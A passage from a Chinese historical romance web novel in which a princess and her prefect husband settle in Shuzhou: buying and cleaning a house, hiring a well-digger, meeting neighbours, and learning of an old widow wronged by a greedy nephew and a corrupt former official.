李意清心中默算时辰，走路从府衙门口到此处也只需要两刻钟，若是真确定住在此处，元辞章每日当值坐马车，顶多一刻钟的时辰。
左邻右舍离得也近，同在一条巷子中，抬头不见低头见，若是真有事，也有人可以询问。
李意清心底一边赞同老板所说的话，又不免有些担心邻里关系。
她从未有过与人为邻的经历，眼下邻里街坊性格不知，脾性不明，若是处不好，也怪让人头疼。
老板像是看出了
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李意清心中的顾虑，主动道：“姑娘不必担心，这街里街坊的，都是慕名前来住下的读书人。平日最是安静，读书人嘛，也讲理。”
洛石跟在李意清的身后踮脚朝里张望。
这一条巷子里的宅院院墙普遍修葺得不高，约莫五六尺高，成年男子确实不费什么劲，就能将这座宅院的样貌尽收眼底。
李意清纵览一圈，心中微微满意，面上却仍旧一派淡然，“你说的另外两处，可否也带去看看？”
这算是没看上？经济行的老板心中暗道了一声不该，但是转眼看见李意清真心实意思考的样子，立刻道：“要得要得，几位，请随我来。”
另外两处虽然是位于府城中心的三进三出的院子，可是前者临近臭水渠，后者房屋长久不住人，里头杂草足足有半人高。
有“进士及第宅院”珠玉在前，后两者实在难以入目。
老板站在半人高的草丛中，深吸一口气，语气诚恳，“姑娘，您也瞧见了。姑娘这个年纪，想来家中父兄胞弟还在应试科举的年纪，住在进士及第宅子，讨一个好意头，也不算亏。”
洛石心中有了比较，自然向着第一处看的院子。
茴香挑剔些，见老板一个劲儿地说好话，语气怀疑：“你既然把那处宅子夸得那样好，怎么还有机会等我们家姑娘挑选。”
老板苦笑一声，“这位小姑娘有所不知，前两年舒州遭了水灾，家家户户都没个好收成，一分钱难倒英雄汉，谁家能出得起几百两银子买下这座宅院。”
自古天灾无情，舒州和周邻比起来，本身就算不上富裕，又遇到水灾，百姓生计都成了问题。
谁人还顾得上博一个进士及第的好彩头。
李意清沉默了片刻。
老板见李意清动摇，再接再厉道：“姑娘，不是我吹，我看人这本事也有几十年了，你面相好，若是买下这个文气的宅子，家里的兄弟抑或是夫婿，都能一举高中，红袍加身。”
身后的茴香和洛石忍不住偷笑。
李意清皮肤白皙，脸上略微泛红，旁人身上不明显，在她身上可是明显极了。
老板见怪不怪，他原先以为姑娘尚未成婚，直到注意到她的鬓发。
新婚燕尔，迁居舒州，便是老板对李意清的全部推断。
新婚的媳妇脸皮薄，不难理解。
老板沉默着等李意清做出最后抉择。
李意清心中敲定了那座“进士及第宅院”，并没有犹豫太久。
四人回到第一处宅院，推开门走进院子，看见沿墙一角摆满了各种种植的花卉。
一盆接着一盆，兰草顺着瓦瓮的圆口径直生长，斜斜地开出一朵兰花。
院子里有落叶，也有新生的绿芽，各类陈设因为长久不用，上面积了一层灰。
李意清在心中估算收拾好所需要的时间，转身问道：“这座宅院多少钱？”
老板见李意清终于下定决心，立刻眉开眼笑道：“诚惠，三百七十五两。”
三百七十五两，在京城只能买下一处独屋的地契。
103. 收拾
因为城南书院一事，李意清福至心灵，忽然问道：“可否便宜些许？”
经济行老板掰着手指头。
“姑娘说个数？”
李意清：“三百……”
三百五十还是三百六十？
李意清还在心中思考应该说五十还是六十，只见老板一脸忍痛，似乎有些不可置信地看着李意清。
他缓缓道：“成交。”
李意清：“？”
李意清看着他一脸肉痛的表情陷入沉思。
经济行老板警惕起来，“不能再便宜了啊。”
李意清不好意思地一笑，老板答应得太快，她真当三百两也还算高。
“三百两，姑娘若是现在有空，我们便去取了地契，过了官府。”经济行老板建议道。“你放心，我也好跟洪老爷交代。”
这套院子本就是洪进士委托他转手的。
李意清飞快点了下头，跟着老板回了经济行。
老板的儿子吊儿郎当地翘着腿坐在老板先前的藤椅上，见到老板回来，立刻将腿放了下来，语气意外：“爹，你怎么这么快就回来了。娘还没烧好饭菜。”
老板直接无视他，在架子上翻出对应的地契盒子。
官府门口，有几个坐在门前地上嚎啕大叫的婆婆，他们身上的衣服出奇的相似，皆是头顶带着布襟，身上穿着蓝花袄子。
老板见怪不怪：“那是周家婶子，和周家的姑奶奶，两人因为家里那头羊，已经来吵过不止一次了。”
几人默不作声地穿过府衙前的长廊，那里挤满了看热闹的百姓，叽叽喳喳，说个没停。
李意清顺利看见了坐在高堂上的元辞章。
元辞章单手撑头，另一只手翻看着卷册，听到响动，声音清冷平淡，“台下何人？”
经济行的老板已经差不多快半年没和官府打交道了，听到元辞章的话语，连忙上前两步，“这位官老爷，我们来此做一个公证文书，从此之后，梨花弄堂中堂洪宅以后就是这位姑娘的了。”
元辞章这才抬眸，视线快速掠过老板，落在了李意清的身上。
李意清站在老板的身后朝他眨了眨眼睛，装成不认识的模样，跟了一句：“知州，您看现在放不方便？”
元辞章站起身，长身玉立，风度翩翩。
“地契拿来。”
旁边的师爷制止道：“知州大人，是周家婶子先来的。官府办事，总要讲究一个先来后到。”
元辞章冷淡地看他一眼。
师爷倔强的一步不动：“……”
元辞章朝他们道：“稍等。”
老板以为元辞章在和自己的说话，有些受宠若惊：“大老爷您忙就是，我们等得、等得。”
茴香和洛石在后面看见献殷勤的老板，憋笑憋得十分辛苦。
这时，元辞章转过身看向一脸仿佛是自己羊出事，焦急不已的师爷，嗓音清冷：“……那只羊现在在何处？”
师爷：“周老太爷去世后，家中子侄分家，那只羊现在正在周叔公家里。”
元辞章伸手揉了揉眉心，附耳在师爷的耳边说了几句。
师爷听完，有些不敢相信，结结巴巴道：“这能行吗？”
“去办吧。”元辞章没有过多解释，而后朝李意清这边看来，“你们，跟我来。”
主事已经磨好墨水，处理地契过户的事情他有七八年的经验，信心十足地看着元辞章，“知州，我来。”
元辞章：“……好。”
这是新知州吩咐下来的第一件事，主事摩肩擦掌，准备在元辞章面前好好露个脸。但是越紧张越容易出错，一列字还没有写完，就出现了两个错别字。
主事的心提到了嗓子眼。
元辞章道：“我来罢。”
他接过主事的笔，行笔流畅地将公文写完，笔落，盖印，地契从此换了主人。
李意清假装不认识元辞章，故作惊讶道：“知州这手字洋洋洒洒，笔走龙蛇，要我说，这副字裱起来放在家中也无不可。”
老板看了一眼忽然热情起来的李意清，心底觉得奇怪，但嘴上跟着一起捧道：“是啊，是啊。”
元辞章多看了李意清一眼，眼底藏着淡淡的无奈。
洛石恰到好处上前，接过地契，“既然如此，买卖便算成了。老板，后会有期。”
老板手里紧紧攥着三张百两银票，听到洛石的话，满脸笑意地点头：“自然自然，以后若是还有什么别的生意，也记得找我。西门集市那家，可别忘了。”
李意清颔首，又朝元辞章看了一眼，转身离开了府衙。
府衙外面，坐地打滚的两位大娘重新恢复了精神，在周围起哄的声音中抖擞战力，叉着腰继续互骂。
瞧着两人中气十足的架势，能对骂到天黑。
李意清奔波了一个上午，回到客栈后，喝了两碗水，吃了半碗梗米后躺在床上睡了过去。
毓心留在客栈看管东西，见李意清累得一句话都不想多说，只好将视线转移到了一旁的洛石和茴香身上。
“怎么样？”
洛石将怀里的地契掏了出来，铺平展开给毓心看，“诺，城东梨花弄堂，那块地儿不错，前院有块空地，边上还有些花花草草，若是觉得不实用，也能垦两垄地，种上一些应季的蔬菜。”
毓心接过地契，认出了元辞章的字体。几人不需要言语交谈，毓心立刻就明白了他们为何而发笑。
她折起手中的地契，收纳进木盒中保存，“好了好了，殿下现在还累着，晚些时候，我们先去宅院那边收拾一番。”
洛石：“就算现在就去收拾，今夜怕是也住不了人。”
毓心没好气地白了他一眼，“说什么傻话，收拾东西就要慢慢来，待会儿洛石跟我过去，将屋子里面先收拾一轮。茴香留在客栈，照顾好殿下。”
洛石被骂，脸上也不见愠色，摸了摸鼻尖，低头说好。
茴香自然没有异议，点了点头。
李意清睡着，三人简单解决完餐食，茴香回到了李意清的身边。
洛石和毓心先去集市上买了两把镰刀和两把竹帚，风风火火地赶到了梨花弄堂，推开门后，进入屋内开始收拾。
长久不住人，里面积了一层厚厚的灰，洛石先在里头挑拣一番，留下几件能用的桌椅板凳，剩下的柜子大多已经被虫蛀。
他动作利索地将柜子搬出门外，上勾脚一踢，柜子分成大大小小的碎片。
碎片有大有小，洛石捡起大块的木板。木板被虫蛀
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后变得松散脆弱，洛石几乎不费什么劲，就将木柜拆解成大小合适的木板。
毓心掸了房中的灰，出来时，刚好看见洛石将柜子分解。
“这些木板稍后堆到后院柴房去，这些木板烧饭也还使得。”
洛石本就是这个打算，“哎”了一声，就吭哧吭哧开始一趟趟的运木板。
毓心伸手扫了扫散在自己面前的灰尘，心里盘算着要去找木坊买些用具，还要请一个会通井的师傅，将饮食用水准备好。
……
李意清午后醒来，听到茴香的话语，点了下头。
“我们也去帮忙收拾。”
茴香看着李意清眼角尚未完全睡醒的样子，低声劝道：“殿下看着精神不好，要不再休息一会儿？”
李意清此刻眼眸湿漉漉，像是带着一层雾气。
蜷长的眼睫尾处，有几颗溢出的泪渍。
她小声打了一个哈欠，朝茴香摇了摇头，“睡久了，有些困乏，不碍事。”
茴香见自己劝说无果，只好跟在李意清的身后走到了梨花弄堂。
弄堂中，毓心和洛石正在专心致志做事，听到门口响动，毓心连忙高声道：“殿下止步！担心呛着！”
随着毓心的话音落下，一人高的木柜轰然倒地，溅起一阵阵的灰尘。
李意清脚步立刻定在原地。
漫起的灰尘好一会儿才渐渐回归平静。这时，李意清才看见毓心和洛石脸上都系着一条帕子，用来遮挡四溢的灰土。
洛石看见李意清直勾勾的视线，有些扭捏地转过头。
李意清轻笑一声，从袖中取出手帕，有样学样，沿着对角线折叠后系在脑后。
洛石和毓心在前院收拾，李意清和茴香主动去了后院。
上午在经济行老板的带领下，她虽然草草看了一圈，却并不仔细。
现在无人催促，无人在旁，李意清静下心来，仔细观察这座陈旧的院宅。
院子大门正对着梨花弄堂，位于中间，对面是一户人家的围墙，两侧也分属不同人家，顺着弄堂往外走几十步，就到了府城的大街。
虽身处闹市，却也算闹中取静，多添几分清幽。
进门后，正对前院空地，左侧一边围墙种满了花草。右侧搭了一个棚子，不过底下什么也没有，一时间看不出来是马棚还是豆坊。
大门与院子的正门隔了一道影壁，入正门后，两边各有一道垂花门。左边还有一道屏门，若是不走正堂，从这道屏门也能顺利走到后院。
内院分东西两个厢房，两边由长廊相连，通往正对着内院的正堂。
布局虽然和传统意义上的三进三出有所出入，却也利落别致。
李意清开始收拾连接前院与内院的长廊。
此刻只值春时，地上稀稀疏疏长了不少杂草，还有一些被风吹落的枝桠。
捡起零碎的枝桠和扫去地上的落叶并不难，可是对于深嵌入土壤的杂草，就棘手多了。
就在无措之际，李意清注意到摆在八卦井边的两把镰刀。
她试探地伸手拿起镰刀，一只手揪起杂草的顶端，一只手顺着它的根部割断。
好像也不难。
李意清振起信心，继续割着地上错落的杂草。
104. 通井
毓心扫完一间屋，一出门，看到的就是李意清动作生疏地拿着镰刀，一点一点割着地上的草。
看其移动距离，已经割了有一会儿了。
毓心看李意清沉迷其中，无法自拔的模样，心中又好笑又心疼。
“殿下，你做什么呢？”
李意清听到声音，先停住了握住镰刀的手，以防锋利的刀刃伤到自己。
“在割草。毓心，你看我收拾的如何？”
毓心看着她一脸期待的模样，终究没狠心说不怎么样。
毓心干农活的经验还在年幼时。
小时候她除了要帮家中的农桑，还需要额外打理族中的一块药田。对于这些割草的活计，自然比养尊处优的李意清熟稔。
“殿下做的很好，不过弯腰锄地伤身，殿下先在旁边休息一会儿，这边稍后交给我打理。”
毓心不容分说地夺过李意清手上拿着的镰刀。
李意清看着自己空空如也的双手，“既然锄不了地，那你看看我还能做些什么？”
毓心：“……”
真是夭寿，她在公主府负责分配新来伺候小丫鬟的活计，没想到有一天竟然需要思考该给公主分配什么活。
她有些艰涩地开口道：“殿下如果可以，不如去街道上请通井的师傅，院中没有清水可用，擦拭灰尘也不方便。”
李意清眨了眨眼眸，信心满满道：“好，我知道了，交给我。”
毓心面无表情地看着李意清随意在衣裙上掸了掸手上的灰尘，迈着步子出了门。
好好的一个公主，怎么就沦落成这副模样，到底是哪里出了差错。
毓心百思不得其解。
*
另一边，走到街上的李意清目光在街上四处梭巡，寻找能帮到自己的人。
舒州街道上人来人往，李意清从人群中寻寻觅觅，走到了一户卖猪肉的摊子前。
摊主是一个身材圆润的娘子，她抬眸看了一眼李意清，粗声粗气道：“前腿肉还是后腿肉，怎么下刀？”
李意清默默将自己想要问的问题咽回肚子，顺着屠户娘子的话看向了案板上的猪肉。
这是一头半猪，光从颜色上来看，应该是今日新鲜的。
李意清并没有亲自采买的经验。过去在公主府，都是有专人负责这些琐事。
她犹豫地看着猪肉，不知从何处开口。
屠户娘子见怪不怪，右手握刀在瓷缸边缘摩擦三两下，介绍道：
“这前腿肉肉质鲜嫩，肥瘦相间，炒菜做馅都是好选，后腿肉肉质紧实，瘦肉较多，炖汤卤水很有嚼头。”
李意清听完屠户娘子的介绍，下定决心道：“前腿肉，两斤，劳驾。”
屠户娘子点了点头，动作利落地抬起了刀。
落刀的时候，她忽然转头，目光带着疑惑：“你说多少？”
李意清：“两斤。”
顿了顿，她小声补充了一句，“有什么问题吗？”
屠户娘子摇了摇头，她开这猪肉摊已经足足二十年，不用上称就能做到心中有数。
她顺着猪肉的纹理切下，口中道：“前些年富裕的时候还有不少官人能买些猪肉，现在不行，大多只买二三两猪肉尝个味儿，像姑娘这样出口两斤的人，已然不多见。”
李意清：“现在不行？怎么了？”
屠户娘子见她一脸茫然，顺口解释：“姑娘刚来此处吧？还不是西北的战事吃紧，去年年底收了一波寒衣税，今年新春不久又收了一波……家家户户存粮本就不多，这样下去，若是七月不能有个好收成，或许会闹饥荒。”
说到饥荒，屠户娘子的脸上多了几分凝重之色。
她幼时也是见过饥荒的，那是一个大灾年——长江泛滥，洪水淹没了良田，蝗灾紧随其后，多少村里人颗粒无收，只能等待其他州府的援救。
在等待的过程，不少老人小孩没能挺过去，死在了粮食赶到的前夕。
她心中对这段记忆十分畏惧，舒州还好，毕竟离江浙和湖广一带近，听说还有的地方，援粮迟迟不到，有些饿疯了的人上山当匪，烧杀抢掠，无恶不作。
屠户娘子极力让自己不要去想，抽了一张晒干的荷叶，将李意清要的两斤前腿肉包裹起来，用一根细麻绳系好后递给她。
“七十文。”
李意清没有零碎的铜板，只摸出了一枚碎银。
在屠户娘子找钱的时候，李意清终于看到时机，抓紧问道：“娘子可知道，哪里有会通井的师傅？”
屠户娘子将数好的铜板串成一串，闻言道：“通井啊！你去找陈麻子就是。沿着这道街往前走，经过一个拱桥，河对岸第二家就是。”
李意清微笑：“多谢娘子。”
她拎起肉，转身朝着屠户娘子指的方向走去。
过了河边，李意清瞧见了坐在屋前刨木头的陈麻子。
陈麻子人如其名，脸上斑斑点点。
李意清上前：“请问是陈师傅吗？”
刨木头的陈麻子置若罔闻。
李意清有些手足无措。
另一边正在收衣裳的婶子看见这一幕，主动开口道：“陈麻子耳朵不好，你声音大些。”
李意清朝婶子投去感谢的目光，而后抬高声音道：“陈师傅！通井！”
坐在矮凳上刨木头的陈麻子被吓得一个激灵，他朝李意清望了一眼，“哎呦”了一声。
“我还不聋，不至于这么大声。小姑娘，你刚刚说有什么事？”
李意清微微降低了自己的声音：“通井。”
陈麻子点了点头，“你在这里等我片刻。”
说完，他回屋去拿需要用上的工具。
半响后，陈麻子背上竹篓，朝着李意清招手，“小姑娘，带路吧。”
李意清走在前面带路。
两人走到梨花弄堂的时候，洛石正将最后一个柜子拆解成一根根便于燃烧的柴禾，看见李意清身边的老者，迟疑道：“这位是？”
李意清：“这是陈师傅，来通井的。他耳朵不好，你和他讲话记得大声些。”
洛石连忙点头，声音洪亮道：“陈师傅，你和我来。”
陈麻子脸上带笑，“这声儿不错，好听。”
见洛石带着陈麻子去到后院，李意清选择去屋中找毓心。
毓心看见李意清回来，还有些惊讶：“找到了？这么快。”
李意清点头：“洛石已经带人过去了。等师傅将井通了，今日就先到此为止。”
说完，她抬手展示着自己的新买的猪肉，加上上午在集市上转悠买下的兔肉，今晚可以好好吃上一顿烤肉。
听到李意清的话，毓心加快速度，擦干净一处灰尘。
太阳从渐渐落下树梢，只在天际留下一
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道灿金色的余晖。
黄昏时分，晚风乍起，吹拂李意清背后的青丝，连带着院中草木的气息。
陈师傅通完井，顺着绑在腰上的绳子一点一点爬上来。
洛石站得近，看见陈麻子爬出来，立刻忍不住好奇地朝着井底望去。
也不知道陈麻子在底下做了些什么，原先干涸的井重新开始有水涌流，发出汩汩的水声。
陈麻子看着他一脸的惊奇，伸手解开腰边的水壶咕噜咕噜喝了半壶水，才道：“成了，这水且续上几日，等杂质沉下去了，就能当作吃水了。”
舒州地连长江，河网密布，不少山林清泉，水都能掬起来直接喝。
洛石道谢，刚好李意清此时也走了近前，和洛石一样被井底缓缓积蓄的水惊艳片刻，才大声道：“多谢师傅，多少钱？”
陈麻子伸手比了三根指头：“三十文钱。”
李意清看着陈麻子累得一头的汗水，吩咐从袖中找出五十文钱。
陈麻子看到慢慢一串铜钱，愣了片刻，在洛石的催促下接过了这五十文。
一个眼神，洛石就能反应过来李意清的意思，他对着陈麻子大声道：“师傅，今日多亏了您。您老现在一头的汗水，快些回去休息吧。”
陈麻子揣着手中沉甸甸的银两，沉默了半响，略显迟疑道：
“我瞧着你们像是置办新居，我的木工在舒州府衙还算有些名气，你们若是看得上，我帮你们打几张矮凳。”
洛石：“那感情好！正缺着柜子和桌椅，等明日将屋子收拾出来，我便将大小尺寸给您送去。”
陈麻子快速地点了下头。
李意清原先准备在木坊里面挑选一些柜子桌椅就算完事，可是洛石承诺得太快，她愣了一会儿，才有些哭笑不得。
陈麻子再快，那也不是一朝一夕的功夫。
李意清伸手在洛石头上敲了一下，没多说什么，高声喊出茴香后，四人一道回到客栈。
回到客栈后，全身的力气忽然像是被抽走，连胳膊也不想抬。
李意清作为其中精神最好的，主动将买回来的猪肉和兔肉递给客栈的厨子，请他帮忙代为处理。
做完这些，李意清坐回长板凳，伸手托着腮看向门外。
当第一盏灯火亮起后，整条街道像是被触发了某种神秘的开关，一盏盏暖黄色的烛光依次亮起，整条街道上一点不显得冷清。
厨子将肉处理完毕，将两个碟子放在了桌子正中央。
光是用肉眼看，也能看出来上好的两斤前腿肉少了不少。
原先完整的一只兔子，头也不见了踪影。
李意清只看了一眼，收回视线，没有计较。
大户人家的采买也会偷偷昧下一些吃食，或是给自家小孩添补一些油水，或者拿去街上换些银钱贴补家用。
桌上四个人淡定自若，厨子反而心有不安。
他伸手摸了摸自己的脑袋，干笑：“这个点了，也没别的人来，恰好后院里头还剩了些菜，桌上这些都是荤腥，我简单炒两个菜，算压压油腻。”
即便是在舒州府城常住之人，在老家村中也多少有几亩田地，最不缺的，就是这蔬菜吃食。
不止是舒州，天下大多如此，肉食贵，菜价贱。
李意清心思不在桌案上，目光落在外头的街道。听到厨子找补的话语，随意道：“有劳。”
105. 邻里
茴香和洛石直白许多，只差没给碗盯出一个洞。
本来他们也不觉得这舒州的吃食有多精致鲜美，可是经过劳碌，饥肠辘辘之下，只觉得闻什么都可口得很。
茴香大咧咧地伸手从筷子筒中抽出四双筷子，摆在几人面前，然后意思意思夹了一块肉放在李意清的碗中，而后往自己嘴里丢了一块肉。对一旁恪守规矩的毓心道：“殿下这是在等驸马呢，咱们先吃，给他们留一些就是。”
毓心：“你是准备让殿下吃我们吃剩饭剩菜？”
茴香：“……”
她举起筷子的手顿在了半空。
毓心见她陷入腹中空空和冒犯公主的两难处境，叹了口气，拿出两个小碗将菜各自分装一些，然后说：“吃吧。”
厨子将一道炒素蒿和一碗炒蒜苗放在桌上，见吃饭者专心致志，发呆者不理外物，自觉地放下就离开了。
茴香用汤汁拌了满满一碗米饭，下肚后终于觉得全身都熨帖了起来。
她伸手撞了撞一旁专心吃饭的洛石，“都这个点了，你去府衙找一找。”
洛石看了眼李意清，咽下口中一大口饭，点了下头，绑紧护袖就准备出门。
刚走到门口，就看见元辞章扛着昏迷的许三。
洛石赶紧上前搭把手。
李意清站起身，“许三怎么了？”
她话音未落，心中记挂许三的茴香立刻站起身，走到了旁边。
茴香酝酿在眼眶中的雾气还未转化成眼泪，就闻到了许三身上一股强烈的酒味。
茴香：“……”
元辞章：“无碍，他喝醉了酒。你去问问掌柜可有蜂蜜，给他冲一碗蜂蜜水。”
茴香拧着鼻子点点头，跑远了。
元辞章将许三放在两条并起的长板凳上，解释道：“今日午后我在查看舒州历年文书，让许三先回来传话。许三年少不经事，被一群衙役拉去喝酒。”
结果显然易见，酒量不行，醉醺醺地倒在地上。
多亏元辞章离开之时多留了一个心眼，问了守在府衙门口的府兵可曾见到他的随侍出门，府兵回忆一番，确实没见到许三的身影。
元辞章折返回去寻找，许三醉醺醺地躺在杂役房中，周围空无一人。
李意清了然。
元辞章做事稳妥，如果有事耽误，必然会先派人回来传话。
茴香端着向掌柜讨来的蜂蜜冲泡的一碗水，好气又好笑地给许三喂水。
李意清见许三有人照顾，招呼元辞章坐下，一道用饭。
“梨花弄堂还要翻修，得过些日子才能住下。”
元辞章伸手夹了一块兔肉放在李意清的碗中，闻言，浅笑颔首：“好。”
洛石正闲着，见两人你一言我一语，忽然打断道：“驸马，今日两位民妇争羊，你怎么判的？”
“两位妇人各执己见，我谴人去了一趟周家，那是周老太爷生前留下的，周家婶子和周家姑奶奶在周老太爷过世之前就已经分家，老太爷生前没留下什么金贵东西，只这一头羊真贵一些，两人无非都是图这些资产，我便让人去换了东西回来。”
同姓的亲人，因为一头羊结成仇怨。
洛石在感到唏嘘的同时，猜测道：“是不是用那一头羊换成两只小羊羔？一人一只，总算吃不了亏了。”
李意清：“笨，若是换成羊羔，两人总能瞧出个高低，往后依旧争吵不休。不如换成白银，一了百了。”
元辞章：“正是如此。”
两人这些日子能因为羊的归属争吵不休，日后就能因为谁家小羊羔长得壮实告上官府，说不定还要因为自己没有喂养妥当，反而倒打一耙说官府处事不力。
洛石恍然大悟，而后叹息，“往后这样零碎的事情，也不知道要弄到什么时候。真是埋没了驸马。”
李意清和元辞章对视一眼，相视而笑。
*
翌日一早，李意清等人出发去了梨花弄堂。
昨天夜里下雾，晨起新叶碧绿如洗，晶莹的露珠缀在植物细小的容貌上，在朝阳下犹如宝石。
李意清随手折了两朵无名的小花，一路边走边折下花瓣，落了一地。
几人忙活了一上午，总算将几间住人的屋子收拾干净。
李意清变戏法一样从袖中摸出一根量绳，和毓心一番商讨后，拿木炭在板子上勾勾画画。
洛石在廊外经过好几次，见两人全神贯注，不敢出声惊扰。
半响后，李意清和毓心终于站起身，核算完具体细节后，毓心喊来洛石。
“诺，这是尺寸，你到时和人记得讲清楚……算了算了，我自己走这一趟。”
毓心将递出去一半的木板从新收回。
洛石撇嘴：“看不起我是不是？”
毓心并不理会，转身就走，“当然不是，只是要用上三年，马虎不得。你在家中帮衬殿下也是一样。”
洛石追到门口，眼巴巴地看着毓心的背影走远。
李意清看他趴在墙头，笑了一声，“放心，虽然家中物件不能完全交给陈师傅，但是不会忘记他。毓心做事，你有什么不放心的。”
洛石抿唇，然后才看向李意清：“殿下，我是不是，又任性了。”
“没有，”李意清摇了摇头，眼神温和，“你做的很好。”
洛石低下头，久久没有说话。
他已经记不太清自己年幼时的情况，他被一双粗粝的大手抱着，翻过山与河，混在流民之中挤进京城。
奄奄一息之际，那个高大却羸瘦的中年男子紧紧怀抱着他——明明自己已经朝不保夕，却义无反顾地咬破了自己的指尖，将献血喂入三天没喝水的洛石口中。
后来他被人收养，记忆缺失了一块。洛石走在街上，总是会想起那个舍命救下自己的中年男人。
若是他还活着，或许就和陆老汉、陈麻子他们，一般年岁吧。
李意清伸手在洛石的肩上轻轻拍了拍。
这时，右侧的围墙上突然出现了一个毛茸茸的脑袋。
小女孩大概八九岁的模样，探头探脑地朝院子这边看。
看见李意清发现了自己，小女孩露出一抹腼腆的笑容，头上的双丫髻随着她的动作摇摇晃晃，像是年画娃娃。
小女孩转头，朝着右边院子里喊道：“娘，隔壁新搬来了一个姐姐、两个姐姐……”
院子对大人来说不高，但是对八九岁的小女孩来说就显得太高了些。
小女孩话音未落，扑通一声摔在了地上。
——“哎哟。”
小女孩发出一声痛呼。
李意清被这突如其来的变故惊呆，连忙上前，踮脚朝里面看，“没事吧？”
小女孩脸上站了尘土，却不哭闹，对着李意清眨巴眨巴眼睛。
隔壁正屋里走出一个妇人，身上穿着青绿色的衣
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裳，头上的银饰虽然少，但经过她的一番打扮，却显得格外素雅耐看。
妇人看见小花猫状的女孩，忍不住垂眸轻笑，先是轻唤了一声“荇儿”，然后扶起了她。
李意清趁此时间，推开大门，敲响了隔壁的门。
门被人从里面拉开，妇人一手牵着小女孩，一手虚虚搭在肚子上，眸光浸满暖意，“昨日就听到了动静，奈何身体有些不适，没能及时拜访，姑娘见谅。”
李意清这才发现妇人已经怀有身孕，看起伏，应当在六七个月左右。
听到妇人的话，她连忙道：“不不不，昨日我们初来乍到，本应该是我们前来拜访，夫人何须道歉。”
妇人闻言，掩唇一笑，“我的夫君名叫滕子鹤，不过他现在并不在舒州，随商队随船南下，五日后方归。这是我的女儿，叫她荇儿就是。”
被点到名的小女孩露出一个甜甜的笑容，有两颗浅浅的酒窝。
李意清听到她自报家门，忽然有些手足无措。
滕夫人：“是有什么不方便吗？”
“当然不，”李意清摇头，她抿唇道，“我叫意清，随夫君前来舒州上任。”
滕夫人恍然：“原来如此。”
李意清忽然转头看向了左侧的一边，昨天几次经过，滕家尚且有烟火气，可是左边却像是无人居住，冷冷清清。
滕夫人看见李意清的动作，弯腰对站在一旁的荇儿说：“去，先去后院洗个脸，都脏成小花猫了。”
荇儿点了点头，转身小跑着回了后院。
滕夫人支走滕荇后，才压低了声音道：“左边那户人家，住在此地有些年头了，里面住着只住着一个五旬老婆婆，有些聋哑，不爱与人来往，不过心不坏，你不必怕她。”
顿了顿，她像是想起了什么，补充了一句，“你最近不要靠近隔壁院子，尤其是最近两天。”
李意清：“为何？”
“说起来都是孽。”滕夫人语气叹息，“那户人家原是靠卖豆腐为生，日子虽然称不上富裕，可是也能温饱。后来家中有了孙儿，高兴了没两年，家中的孙儿就被人拐走了，就是在这初夏前后，夫妻两人出去寻找，遇到山匪，都没能活着回来。老婆婆的丈夫前两年也过世了，现在只剩下她孤零零的一个人。”
李意清听得很是揪心。
“那现在老婆婆的吃食？她家中可还有其他亲人？”
滕夫人道：“都是靠着街里街坊的救济。至于其他亲人，倒是还有一个侄儿，三十多岁出头。”
滕夫人提到这位侄儿的时候，本平和的面容忽然带上了一分愠怒，“那侄儿不提也罢，只等着婆婆去了之后，好带着妻儿老小占了这间屋舍。”
去年的时候，那侄儿就找了一批地痞流氓，扬言这是他的姑妈，反正姑妈年纪一大把，住在这么好的院子里也是浪费，还不如早早死了干净，让他们住进去。
街里街坊都同情老婆婆的遭遇，主动帮忙拦下，还派人报了官府。
可是官府和那侄儿沆瀣一气，甚至搬出伯伯家的家产，本就顺理成章该是侄儿的，跟一个妇道人家没有关系。
好在官府说完这番话，上头的知州就被人拉了下来，舒州事物暂交邻边庐州知州代理，在庐州知州的帮助下，老婆婆守住了自己的家宅。
那侄儿回去后，贼心不死，隔三岔五就要来此恶心一番。
众人虽然气愤，却也无可奈何。
106. 清风居
滕夫人见到李意清心事重重，忽然伸手拍了拍她的肩头，“不必担心，你的夫君是当官的，日后那侄儿再来，多少也会顾忌一些。”
李意清：“嗯。”
滕夫人还有家中的事情要忙，轻声道：“我就先不与你叙旧了，等午饭时候，你们来我家吃顿便饭？记得不错的话，应该是四个人。”
李意清本欲推辞，可是滕夫人道：“日后都是邻里，互相帮衬一些。你来我往，人情才能长久。”
“……好。”
李意清颔首。
滕夫人说完，转身回了屋内。
李意清的内心却久久不能平静。
端着一盆脏水的茴香出来，看到的就是正在发呆的李意清。
她将水泼在门前的地上，然后提着盆走到李意清的身边，凑到她身边道：“殿下，刚刚听到你说话，你在和谁讲话呢？”
李意清：“隔壁的滕夫人，她让咱们午时去她家吃饭。等下你去街上买两包糕点，她家有个小姑娘，应该会喜欢。”
茴香立刻点了点头，“我这就去。”
到了午时，滕夫人亲自来到院中喊人。
院中是一方长长的竹板桌，长约六尺，有些人家也会拿来当作小憩的床榻。
矮凳围着竹板桌围了一圈，滕夫人抱着滕荇坐在最上首，招呼道：“菜式简单，不知道合不合诸位的胃口。”
李意清看了一眼洛石和茴香的反应，笑道：“在院中干活的时候，就已经闻到了菜香。”
滕夫人：“那就好，都当作在自己家，千万别拘谨。”
饭后，毓心和茴香主动提出帮忙洗碗，滕夫人笑着颔首。
她现在身怀有孕，确实不适合做些弯腰取水的活计。
李意清道：“洛石自幼跟在我身边，他力气大，你家郎君回来之前，我每天喊他来帮你提两桶水。放心，我也跟着一道过来。”
虽然洛石确实诚心相帮，但是人言可畏，滕夫人待人和善，她自然会多考虑一层她的清誉。
滕夫人闻言，嘴角绽开一抹笑：“好啊。若是你需要用水，可现在我家井中取水。”
李意清看了一眼洛石的背影，颔首：“如此，多谢夫人。”
擦拭灰尘涤洗地板，无不需要用水。她和茴香毓心力气小，用水需要洛石扛着水桶走来回七八里路。
滕夫人摆了摆手，视线在帮忙的几人身上梭巡。
滕荇吃了午饭，嚷嚷着要坐在院中的老树桩上吃糕点。舒州的糕点样式远没有京城丰富，只有最简单的红糖白糖绵糕，滕荇吃了两块，就趴在木桩子上睡了过去。
李意清心中担心，滕夫人笑：“这孩子，习惯吃了午饭就睡。”
没一会儿，滕荇的睡姿变得四仰八叉，嘴里发出浅浅的哼声。
李意清这才放下心，跟滕夫人告辞后，回到院中继续收拾。
晚间回到客栈，李意清和元辞章提起了隔壁婆婆的事。
李意清道：“你还记得我们来此的第一日吗，路上遇到的姑娘，是否也是遭人蒙骗，被人拐去？”
元辞章沉默片刻，出声道：“我知晓了。”
李意清应了一声。
听滕夫人的意思，这件事情少说发生已有十年。十年间，三任知州，却仍旧杜绝不了这样的乱象，真是让人细思极恐。
上一任知州能和抢夺绝户的侄儿沆瀣一气，鱼肉百姓无恶不作。那前前任，又是什么样的人。
李意清想起老婆婆的遭遇，有些食不下咽。
